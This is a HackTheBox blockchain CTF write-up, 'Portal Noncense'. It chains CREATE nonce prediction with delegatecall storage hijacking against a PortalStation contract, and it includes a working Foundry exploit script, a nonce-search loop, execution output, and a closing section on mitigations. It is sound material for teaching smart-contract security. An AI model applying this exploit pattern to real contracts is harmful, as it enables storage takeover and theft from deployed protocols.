Writeups/HTB Blockchain/Portal Noncense
MediumHackTheBox · Blockchain

Portal Noncense

Deterministic Addresses and Delegatecall Storage Hijacking

Two classic Ethereum attack primitives chained together. Ethereum contract addresses created via CREATE are deterministic — predictable from the deployer address and nonce. And delegatecall executes foreign code inside your own storage context. When a target contract hardcodes a destination address, and you can deploy a malicious contract there, you own the target's storage.

delegatecallCREATEnonce predictionstorage layoutdeterministic addressstorage hijacking
01

Challenge Overview

The challenge deploys a PortalStation contract — a portal management system that can activate portals to different fantasy kingdoms. Three destination addresses are hardcoded in its constructor. The win condition is activating the "orcKingdom" portal, which is initially inactive.

Objective: TARGET.isPortalActive("orcKingdom") == true.

The challenge name "Noncense" is the pun: the exploit depends on the deployer's transaction nonce.

02

Contract Architecture

Setup.sol

solidity
1contract Setup {
2 PortalStation public immutable TARGET;
3
4 constructor() {
5 TARGET = new PortalStation();
6 }
7
8 function isSolved() public view returns (bool) {
9 return TARGET.isPortalActive("orcKingdom");
10 }
11}

PortalStation.sol — The Target

solidity
1contract PortalStation {
2 mapping(string => address) public destinations;
3 mapping(string => bool) public isPortalActive;
4 bool isExpertStandby;
5
6 constructor() {
7 // Three hardcoded destination addresses
8 destinations["orcKingdom"] = 0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007;
9 destinations["elfKingdom"] = 0x598136Fd1B89AeaA9D6825086B6E4cF9ad2BD4cF;
10 destinations["dawrfKingdom"] = 0xFc2D16b59Ec482FaF3A8B1ee6E7E4E8D45Ec8bf1;
11 isPortalActive["elfKingdom"] = true;
12 }
13
14 function requestPortal(string calldata _destination) public payable {
15 require(destinations[_destination] != address(0));
16 require(isExpertStandby, "Portal expert has a day off");
17 require(msg.value > 1337 ether);
18 isPortalActive[_destination] = true;
19 }
20
21 function createPortal(string calldata _destination) public {
22 require(destinations[_destination] != address(0));
23 (bool success, bytes memory retValue) = destinations[_destination].delegatecall(
24 abi.encodeWithSignature("connect()")
25 );
26 require(success, "Portal destination is currently not available");
27 require(abi.decode(retValue, (bool)), "Connection failed");
28 }
29}

The contract has two paths to activate a portal. Reading them critically reveals one is intentionally blocked, and the other contains the vulnerability.

03

The Dead End — requestPortal

solidity
1function requestPortal(string calldata _destination) public payable {
2 require(destinations[_destination] != address(0));
3 require(isExpertStandby, "Portal expert has a day off"); // Always false
4 require(msg.value > 1337 ether); // Need 1337 ETH
5 isPortalActive[_destination] = true;
6}

This function looks like the intended path, but it is a deliberate dead end:

  • isExpertStandby is never set to true anywhere in the contract. The expert permanently has a day off.
  • Even if we got past that, we would need more than 1337 ETH. We don't have that.

KEY INSIGHT

CTF contracts often include an "obvious" path that is subtly or obviously impossible. When you encounter a function that requires an impossible condition, the challenge is asking you to find the non-obvious path. Reading the entire contract before starting to exploit is essential.

04

Understanding delegatecall

The second function, createPortal(), uses delegatecall. Understanding delegatecall deeply is the foundation of this exploit.

Mental Model — call vs delegatecall

Regular call (A calls B):

Execute B's code, in B's storage context. msg.sender = A. B's state changes.

Delegatecall (A delegatecalls B):

Execute B's code, in A's storage context. msg.sender = whoever called A. A's state changes.

Think of delegatecall as: "borrow B's code and run it as if it were our own." B's code reads and writes A's storage slots — not B's own.

call vs delegatecall — Storage Context
REGULAR CALL:

  ContractA                      ContractB
  ─────────                      ─────────
  storage: [A's data]            storage: [B's data]  ← B reads/writes HERE
       │
       └──call──► ContractB.someFunc()
                        │
                        writes to B's storage


DELEGATECALL:

  ContractA                      ContractB
  ─────────                      ─────────
  storage: [A's data] ◄──────── storage: [B's data]   (not used)
       │                              │
       └──delegatecall──► ContractB.someFunc()
                               │
                               executes B's CODE
                               but reads/writes A's STORAGE

This means: if we control what contract lives at a destination address, and that address receives a delegatecall from PortalStation, our contract's code runs — but it reads and writes PortalStation's storage. We can flip isPortalActive["orcKingdom"] to true in PortalStation's own state.

05

The Exploit Path — createPortal

solidity
1function createPortal(string calldata _destination) public {
2 require(destinations[_destination] != address(0));
3 (bool success, bytes memory retValue) = destinations[_destination].delegatecall(
4 abi.encodeWithSignature("connect()")
5 );
6 require(success, "Portal destination is currently not available");
7 require(abi.decode(retValue, (bool)), "Connection failed");
8}

The attack surface:

  1. destinations["orcKingdom"] is hardcoded to 0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007.
  2. If we deploy a contract at that exact address, createPortal("orcKingdom") will delegatecall into our contract.
  3. Our contract's connect() function executes in PortalStation's storage context.
  4. Inside connect(), we set isPortalActive["orcKingdom"] = true — which writes to PortalStation's own storage.

The critical question: how do we deploy a contract at a specific predetermined address?

06

Deterministic Contract Addresses

In Ethereum, when you deploy a contract using the CREATE opcode (the standard deployment mechanism), the resulting contract address is completely deterministic. It depends on exactly two things:

  • The deployer's address — the account that sends the deployment transaction.
  • The deployer's nonce — the transaction count of the deployer account at the time of deployment.

The formula is:

text
1contract_address = keccak256(RLP([deployer_address, nonce]))[12:]
2
3Where:
4 - RLP is Recursive Length Prefix encoding
5 - [12:] takes the last 20 bytes of the 32-byte hash (Ethereum addresses are 20 bytes)

Concretely: every account on Ethereum has a nonce that starts at 0 and increments with each transaction. When you deploy a contract, that is also a transaction, so the nonce increments. An EOA that has sent 130 transactions will have its next deployment land at the address computed from keccak256(RLP([eoa_address, 130])).

Mental Model — Nonce and Deployment Address

An EOA's nonce tells you exactly which contract address each of its future deployments will land at — before the deployment happens. Given an EOA address and a nonce, you can calculate any future deployment address. Given a target address, you can find which nonce would produce it.

This is both an architectural feature (enabling address prediction for protocols) and a vulnerability when combined with a contract that hardcodes destination addresses and uses delegatecall.

07

Nonce Search

Our player EOA has address <PLAYER_ADDRESS>. We need to find which nonce would produce one of the three hardcoded destination addresses. Foundry's cast compute-addressdoes exactly this calculation:

Terminal
$ for i in $(seq 0 150); do
  addr=$(cast compute-address <PLAYER_ADDRESS> --nonce $i | awk '{print $NF}')
  if [[ "$addr" == "0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007" ]] || \
     [[ "$addr" == "0x598136Fd1B89AeaA9D6825086B6E4cF9ad2BD4cF" ]] || \
     [[ "$addr" == "0xFc2D16b59Ec482FaF3A8B1ee6E7E4E8D45Ec8bf1" ]]; then
    echo "MATCH at nonce $i: $addr"
  fi
done
Output
MATCH at nonce 130: 0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007

Nonce 130 maps to the orcKingdom destination address.

Our player EOA currently has some starting nonce. We need to increase it to exactly 130 before deploying the malicious contract. We do this by deploying 130 throwaway dummy contracts. These deployments consume nonces 0 through 129, so the 131st deployment (nonce 130) lands exactly at0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007.

Nonce Consumption Strategy
Player EOA nonce timeline:

  Nonce 0   → Deploy Dummy contract #1
  Nonce 1   → Deploy Dummy contract #2
  Nonce 2   → Deploy Dummy contract #3
  ...
  Nonce 129 → Deploy Dummy contract #130
  Nonce 130 → Deploy MaliciousDestination
                    │
                    address == 0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007
                    │
                    == destinations["orcKingdom"]  ✓
08

Storage Layout Must Match

This is a critical detail that many beginners miss when learning delegatecall exploits.

When MaliciousDestination.connect() runs in PortalStation's storage context, it accesses storage slots by their slot numbers — not by variable names. Variable names are a Solidity abstraction. At the EVM level, code reads and writes numeric slot indices.

If MaliciousDestination declares variables in a different order thanPortalStation, the slot numbers won't correspond to the intended variables. We would write to the wrong slots and corrupt unintended state.

PortalStation Storage Layout
Slot 0: mapping(string => address) destinations   (mapping key → slot)
Slot 1: mapping(string => bool)    isPortalActive  (mapping key → slot)
Slot 2: bool isExpertStandby

Our MaliciousDestination must declare:
  slot 0: mapping(string => address) destinations
  slot 1: mapping(string => bool)    isPortalActive
  slot 2: bool isExpertStandby

In the same order, so that writing isPortalActive["orcKingdom"] = true
in our contract touches the correct slot in PortalStation's storage.

WARNING

For mapping variables, the actual storage slot of a specific key is computed as keccak256(abi.encode(key, slot)). So isPortalActive["orcKingdom"] in both contracts will hash the same key against the same base slot (1) — so the derived storage slot matches. This is why the layout must mirror exactly.

09

Writing the Exploit

solidityExploit.sol
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import "forge-std/Script.sol";
5import {PortalStation} from "./Portal.sol";
6import {Setup} from "./Setup.sol";
7
8// Throwaway contract to burn nonces
9contract Dummy {}
10
11// Mirrors PortalStation's storage layout EXACTLY
12contract MaliciousDestination {
13 mapping(string => address) public destinations; // slot 0 — matches PortalStation
14 mapping(string => bool) public isPortalActive; // slot 1 — matches PortalStation
15 bool isExpertStandby; // slot 2 — matches PortalStation
16
17 function connect() external returns (bool) {
18 // This executes in PortalStation's storage context via delegatecall.
19 // Writing isPortalActive["orcKingdom"] here writes to PortalStation's slot 1,
20 // key "orcKingdom" — which is exactly what isSolved() checks.
21 isPortalActive["orcKingdom"] = true;
22 return true;
23 }
24}
25
26contract ExploitScript is Script {
27 function run() external {
28 vm.startBroadcast(<PRIVATE_KEY>);
29
30 // Burn nonces 0–129 with dummy contracts
31 for (uint i = 0; i < 130; i++) {
32 new Dummy();
33 }
34
35 // Nonce 130 → deploys at 0xFC31... (orcKingdom's hardcoded destination)
36 new MaliciousDestination();
37
38 // Trigger the delegatecall
39 PortalStation target = Setup(<SETUP_ADDRESS>).TARGET();
40 target.createPortal("orcKingdom");
41
42 vm.stopBroadcast();
43 }
44}

Walking through the critical design decisions:

  • Lines 12–15: MaliciousDestination declares the same three storage variables as PortalStation in the same order. This ensures slot numbers align.
  • Lines 18–22: connect() returns true to satisfy createPortal()'s success check, and writes isPortalActive["orcKingdom"] = true — which, via delegatecall, writes to PortalStation's storage.
  • Lines 31–33: The loop deploys 130 dummy contracts, burning nonces 0–129. After the loop, the EOA's nonce is 130.
  • Line 36: new MaliciousDestination() at nonce 130 → deploys to 0xFC31... = orcKingdom's destination.
  • Line 40: createPortal("orcKingdom") now delegatecalls our contract, running connect() in PortalStation's storage.
10

Execution & Verification

Terminal
$ forge script exploit.s.sol:ExploitScript \
  --rpc-url http://<CHALLENGE_HOST>/rpc \
  --broadcast
Output
== Logs ==
Contract Address: 0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007  ← MaliciousDestination!
Function: createPortal(string)                               ← delegatecall triggered!

ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Terminal
$ cast call --rpc-url $RPC $SETUP "isSolved()"
Output
0x0000000000000000000000000000000000000000000000000000000000000001
Complete Attack Chain
ExploitScript.run()
  │
  ├── Deploy Dummy ×130   (burn nonces 0–129)
  │
  ├── Deploy MaliciousDestination   (nonce 130)
  │         │
  │         └── lands at 0xFC31... == orcKingdom destination
  │
  └── PortalStation.createPortal("orcKingdom")
              │
              │  destinations["orcKingdom"] == 0xFC31... == MaliciousDestination
              │
              └── 0xFC31....delegatecall("connect()")
                        │
                        │  MaliciousDestination.connect() executes
                        │  in PortalStation's storage context
                        │
                        └── isPortalActive["orcKingdom"] = true
                                    (written to PortalStation's storage)
                                          │
                                          ▼
                                  isSolved() → true
11

Root Cause & Mitigation

Root Cause 1 — Hardcoded Destination Addresses Without Existence Checks

The destinations mapping holds hardcoded addresses that have no deployed contracts at challenge start. The contract checks destinations[_destination] != address(0)but does not verify that the destination address actually contains contract code. This means anyone who deploys to a destination address gains control of that destination.

Root Cause 2 — delegatecall to an Untrusted, Attacker-Controllable Address

delegatecall executes arbitrary code in the caller's storage context. Usingdelegatecall to an address that can be controlled by an attacker is equivalent to giving the attacker full write access to your storage. This is the same class of bug as the original Parity Multisig wallet hack (2017).

Mitigations

  • Avoid delegatecall to dynamic addresses: delegatecall should only be used with immutable, audited implementation addresses (as in the proxy pattern). Never delegatecall to addresses that can be influenced by users.
  • Check for extcodesize: Before delegatecalling, verify address.code.length > 0. This at least confirms something is deployed there at that moment (though still not trustworthy if the address can be controlled).
  • Use a whitelist of audited implementations: If the destination must be dynamic, maintain an admin-controlled whitelist of approved implementation addresses.
12

Lessons Learned

Lesson 1 — delegatecall is a Storage Proxy

When A delegatecalls B, B's code runs but A's storage is affected. Whoever controls B controls A's storage. This is intentional when used in the proxy pattern with trusted implementations, but catastrophic when the implementation address can be influenced by an attacker.

Lesson 2 — CREATE Addresses are Perfectly Predictable

Contract deployment addresses are not random. They are a deterministic function of the deployer address and nonce. Any contract that hardcodes destination addresses is assuming that no one will ever deploy to those addresses. On a private CTF chain, that assumption can be defeated by burning nonces. In production, the same technique applies to any address that hasn't been deployed to yet.

Lesson 3 — Storage Layout Must Mirror Exactly in delegatecall Exploits

When crafting a malicious implementation for a delegatecall exploit, the variable declarations must be in the same order as the target contract. The EVM uses slot numbers, not names. If your layout drifts, you corrupt wrong slots — potentially causing a revert or unintended side effects.

Lesson 4 — Pattern Recognition

Whenever you see: (a) hardcoded destination addresses, (b) delegatecall to those destinations, and (c) a function on the destination contract that runs untrusted code — the exploit path is to deploy a malicious contract at the destination. The nonce arithmetic tells you how.